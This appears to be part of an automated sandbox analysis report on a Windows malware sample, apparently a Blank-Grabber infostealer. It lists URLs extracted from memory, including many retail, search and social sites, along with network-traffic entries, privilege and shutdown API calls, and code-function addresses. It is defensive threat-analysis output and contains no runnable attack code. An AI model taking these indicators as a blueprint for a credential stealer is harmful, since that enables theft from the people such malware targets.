              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: https://sectigo.com/CPS0
              Source: riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44B4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
              Source: riFSkYVMKB.exe, 00000002.00000003.2151323703.000001CF44B5D000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefox
              Source: riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44B4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
              Source: riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130523745.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
              Source: riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130523745.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2168244365.000001CF44A83000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130409577.000001CF44A7E000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A83000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274769955.000001CF44A83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
              Source: riFSkYVMKB.exe, 00000002.00000002.2278670156.000001CF44D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://weibo.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.aliexpress.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.ca/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.co.uk/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.de/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.fr/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.avito.ru/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.baidu.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.bbc.co.uk/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.ctrip.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.ebay.co.uk/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.ebay.de/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF44FF4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45004000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.ifeng.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.iqiyi.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.leboncoin.fr/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF44FE4000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4505C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/
              Source: riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44B4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
              Source: riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44B4A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
              Source: riFSkYVMKB.exe, 00000002.00000003.2151323703.000001CF44B6B000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44B4A000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF449ED000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2158004748.000001CF44AFF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
              Source: riFSkYVMKB.exe, 00000002.00000003.2166804936.000001CF44B47000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF45074000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.olx.pl/
              Source: riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2283397865.00007FFD9409A000.00000004.00000001.01000000.0000000F.sdmp, riFSkYVMKB.exe, 00000002.00000002.2286260013.00007FFDA3659000.00000004.00000001.01000000.00000010.sdmp, libcrypto-3.dll.0.dr, libssl-3.dll.0.drString found in binary or memory: https://www.openssl.org/H
              Source: riFSkYVMKB.exe, 00000002.00000002.2284437276.00007FFD94658000.00000040.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.python.org/psf/license/)
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.reddit.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.wykop.pl/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.zhihu.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2276963330.000001CF44380000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://yahoo.com/
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
              Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A223A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,18_2_00007FF68A223A70
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,18_2_00007FF68A24B57C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0510000_2_00007FF79D051000
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0709380_2_00007FF79D070938
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0769D40_2_00007FF79D0769D4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D058BD00_2_00007FF79D058BD0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D075EEC0_2_00007FF79D075EEC
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D069F100_2_00007FF79D069F10
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05AD1D0_2_00007FF79D05AD1D
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D065DA00_2_00007FF79D065DA0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D061DC40_2_00007FF79D061DC4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D06E5E00_2_00007FF79D06E5E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0636100_2_00007FF79D063610
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0598700_2_00007FF79D059870
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0718E40_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D06DF600_2_00007FF79D06DF60
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0617B00_2_00007FF79D0617B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0797980_2_00007FF79D079798
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D061FD00_2_00007FF79D061FD0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0688040_2_00007FF79D068804
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D06DACC0_2_00007FF79D06DACC
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D07411C0_2_00007FF79D07411C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0681540_2_00007FF79D068154
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0619B40_2_00007FF79D0619B4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0621D40_2_00007FF79D0621D4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D063A140_2_00007FF79D063A14
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D075C700_2_00007FF79D075C70
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0764880_2_00007FF79D076488
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0709380_2_00007FF79D070938
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D062C800_2_00007FF79D062C80
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D073C800_2_00007FF79D073C80
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05A4E40_2_00007FF79D05A4E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D05A34B0_2_00007FF79D05A34B
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D061BC00_2_00007FF79D061BC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0510002_2_00007FF79D051000
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0769D42_2_00007FF79D0769D4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D075EEC2_2_00007FF79D075EEC
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D069F102_2_00007FF79D069F10
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05AD1D2_2_00007FF79D05AD1D
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D065DA02_2_00007FF79D065DA0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D061DC42_2_00007FF79D061DC4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D06E5E02_2_00007FF79D06E5E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0636102_2_00007FF79D063610
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0598702_2_00007FF79D059870
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0718E42_2_00007FF79D0718E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D06DF602_2_00007FF79D06DF60
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0617B02_2_00007FF79D0617B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0797982_2_00007FF79D079798
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D061FD02_2_00007FF79D061FD0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0688042_2_00007FF79D068804
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D06DACC2_2_00007FF79D06DACC
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D07411C2_2_00007FF79D07411C
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0681542_2_00007FF79D068154
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0709382_2_00007FF79D070938
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0619B42_2_00007FF79D0619B4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0621D42_2_00007FF79D0621D4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D063A142_2_00007FF79D063A14
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D075C702_2_00007FF79D075C70
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0764882_2_00007FF79D076488
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D0709382_2_00007FF79D070938
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D062C802_2_00007FF79D062C80
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D073C802_2_00007FF79D073C80
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05A4E42_2_00007FF79D05A4E4
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D05A34B2_2_00007FF79D05A34B
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D058BD02_2_00007FF79D058BD0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FF79D061BC02_2_00007FF79D061BC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD939A03502_2_00007FFD939A0350
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD938F13002_2_00007FFD938F1300
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD938F22702_2_00007FFD938F2270
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD938F19502_2_00007FFD938F1950
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940990602_2_00007FFD94099060
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940F22502_2_00007FFD940F2250
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E92B02_2_00007FFD940E92B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD94154C702_2_00007FFD94154C70
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941754A02_2_00007FFD941754A0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D94D02_2_00007FFD940D94D0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9411A5102_2_00007FFD9411A510
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D45702_2_00007FFD940D4570
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941015A02_2_00007FFD941015A0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940F45A02_2_00007FFD940F45A0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9412B5B02_2_00007FFD9412B5B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940FE5C02_2_00007FFD940FE5C0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E36502_2_00007FFD940E3650
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9412E6702_2_00007FFD9412E670
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941306C02_2_00007FFD941306C0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941477502_2_00007FFD94147750
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941427E62_2_00007FFD941427E6
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9413C8402_2_00007FFD9413C840
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D48202_2_00007FFD940D4820
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D41202_2_00007FFD940D4120
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E21E02_2_00007FFD940E21E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940ED2B02_2_00007FFD940ED2B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9411F2D02_2_00007FFD9411F2D0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941942B02_2_00007FFD941942B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D32F52_2_00007FFD940D32F5
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9415A3002_2_00007FFD9415A300
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940FF2F02_2_00007FFD940FF2F0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940FD3102_2_00007FFD940FD310
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D73362_2_00007FFD940D7336
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941373502_2_00007FFD94137350
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940EC3802_2_00007FFD940EC380
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941443B02_2_00007FFD941443B0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD94168C802_2_00007FFD94168C80
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9412BCC02_2_00007FFD9412BCC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9415ACA02_2_00007FFD9415ACA0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E9D002_2_00007FFD940E9D00
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940DBD302_2_00007FFD940DBD30
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940FDDB02_2_00007FFD940FDDB0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E0DC02_2_00007FFD940E0DC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD94114E702_2_00007FFD94114E70
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9416CEA02_2_00007FFD9416CEA0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9414CF302_2_00007FFD9414CF30
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD94184FC02_2_00007FFD94184FC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9415BFC02_2_00007FFD9415BFC0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940F80202_2_00007FFD940F8020
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940F70402_2_00007FFD940F7040
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941158802_2_00007FFD94115880
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940D288E2_2_00007FFD940D288E
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940DA8C02_2_00007FFD940DA8C0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940E69302_2_00007FFD940E6930
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941329502_2_00007FFD94132950
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940F99A02_2_00007FFD940F99A0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD940DFA102_2_00007FFD940DFA10
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9413BB002_2_00007FFD9413BB00
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD94126B402_2_00007FFD94126B40
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD948A33C02_2_00007FFD948A33C0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFDA35D5C002_2_00007FFDA35D5C00
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFDA3591D932_2_00007FFDA3591D93
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E286FA8_2_00007FFD32E286FA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E2BC3A8_2_00007FFD32E2BC3A
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E29FFB8_2_00007FFD32E29FFB
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E289558_2_00007FFD32E28955
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E25CFA8_2_00007FFD32E25CFA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E284FA8_2_00007FFD32E284FA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32EF2FF18_2_00007FFD32EF2FF1
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20ABA018_2_00007FF68A20ABA0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A210A2C18_2_00007FF68A210A2C
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A237B2418_2_00007FF68A237B24
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A22AE1018_2_00007FF68A22AE10
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2154C018_2_00007FF68A2154C0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A2082F018_2_00007FF68A2082F0
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20188418_2_00007FF68A201884
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A20B54018_2_00007FF68A20B540
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A244B3818_2_00007FF68A244B38
